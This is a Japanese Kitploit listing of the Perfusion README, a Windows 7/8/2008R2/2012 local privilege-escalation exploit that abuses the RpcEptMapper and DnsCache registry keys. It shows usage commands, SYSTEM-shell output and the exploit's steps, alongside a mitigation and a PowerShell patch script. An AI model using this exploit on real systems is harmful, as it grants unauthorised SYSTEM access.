Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Perfusion — RpcEptMapperレジストリキーの権限の脆弱性のエクスプロイト (Windows 7 / 2088R2 / 8 / 2012) | Kitploit
ツール/GitHubGitHub/itm4n/perfusion
特権昇格脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテストArchived
GitHubitm4n/perfusion

Perfusion

RpcEptMapperレジストリキーの権限の脆弱性のエクスプロイト (Windows 7 / 2088R2 / 8 / 2012)

リポジトリを見る
427755年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

Perfusion

Windows 7、Windows Server 2008R2、Windows 8、Windows Server 2012 では、RpcEptMapper および DnsCache(7/2008R2 のみ)サービスのレジストリキーに弱いアクセス許可が設定されています。任意のローカルユーザーが Performance サブキーを作成し、Windows パフォーマンスカウンター を利用して、WMI サービスのコンテキストで NT AUTHORITY\SYSTEM として任意の DLL をロードできます(これがツール名の由来です)。

このツールは、ペネトレーションテスト中のセキュリティコンサルタントを支援することを目的としています。このソフトウェアは現状のままで提供され、サポートはおそらく提供しません。ただし、3つの異なる仮想マシンで十分にテスト済みであり、大きな問題は発生しないはずです。

詳細情報: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ 2021-04-21 更新

0patch によると、この脆弱性は 2021年4月の Windows Update(ESU)で部分的に修正されました。つまり、更新された Windows 8 / Server 2012 を実行しているマシンは、もはや悪用できなくなるはずです。ただし、Windows 7 / Server 2008 R2 は依然として脆弱です。RpcEptMapper の代わりに DnsCache レジストリキーを利用するだけでよく、PoC を更新して -k オプションで手動指定できるようにしました。

既知の問題

⚠️ このツールを使用する前に必ずお読みください ⚠️

このツールの開発中に、2つの異なる動作 を観察しました:

  1. DLL が WMI サービスのメインプロセスによって NT AUTHORITY\SYSTEM として直接ロードされる。この場合、エクスプロイトは完全に正常に動作します。
  2. DLL が NT AUTHORITY\LOCAL SERVICE として実行される WMI サービスのサブプロセスによってロードされる。この場合、サービスはクライアントを偽装しながら DLL をロードします。Windows 7 では(別の脆弱性のために)特権昇格が依然として可能ですが、実装コストに見合うだけの価値はありませんでした。

この違いを説明することはできません。トリガー コードは常に同じでした。いずれにせよ、エクスプロイトに その役割を果たさせ、終了後にすべてをクリーンアップできるようにします。エクスプロイトが失敗した場合でも、数分後や数時間後に成功する可能性がありますが。

✔️ エクスプロイトが成功した場合の表示:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ エクスプロイトが失敗した場合の表示:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

ビルド手順

このソリューションは、特定の順序でコンパイルする必要がある2つのプロジェクトで構成されています。すべて事前設定済みなので、以下の簡単な手順に従うだけです:

  1. Visual Studio 2019 でソリューションを開く
  2. Release / x64 を選択
  3. ビルド > ソリューションのビルド

使用方法

-h オプションでヘルプメッセージを確認できます。

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

修正 / パッチ

以下のバージョンの Windows が脆弱です:

Windows バージョン脆弱なレジストリキー
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

私の知る限り、この脆弱性は何らかの理由で Microsoft によって修正されることはありません。最善の解決策は Windows 10 / Server 2019 にアップグレードすることですが、短期間で実施できない場合は、以下のレジストリキーの CreateSubKey 権限を NT AUTHORITY\Authenticated Users と BUILTIN\Users の両方から削除することで、自分で修正できます:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

この脆弱性に対するパッチを PowerShell スクリプトとして作成しました: RegistryPatch.ps1。このスクリプトは、上記2つのレジストリキーの CreateSubKey 権限を、以下の ID から削除します: NT AUTHORITY\INTERACTIVE、BUILTIN\Users、または BUILTIN\Authenticated Users。

  • マシンが脆弱かどうかを確認: (ここでは Windows Server 2012)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • パッチを適用: (ここでは Windows Server 2008 R2)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

このエクスプロイトはどのように動作するのか?

以下は、このツールに実装されているエクスプロイトの手順です:

  1. 指定されたコマンドラインを使用して、バックグラウンドでプロセスが中断状態で作成されます。
  2. 埋め込まれたペイロード DLL が現在のユーザーの Temp フォルダに書き込まれます。
  3. HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper の下に Performance キーが作成され、適切な値(ステップ2で作成された DLL の完全パスを含む)が設定されます。
  4. WMI クラス Win32_Perf が作成および呼び出され、Windows パフォーマンスカウンター の収集がトリガーされます。
  5. DLL は、WMI サービスによって NT AUTHORITY\SYSTEM または NT AUTHORITY\LOCAL SERVICE としてロードされます。
  6. DLL が NT AUTHORITY\SYSTEM によってロードされた場合、そのトークンが複製され、ステップ1でユーザーが作成したプロセスに適用されます。
  7. すべてがクリーンアップされ、中断状態のプロセスのメインスレッドが再開されます。
ツールをダウンロード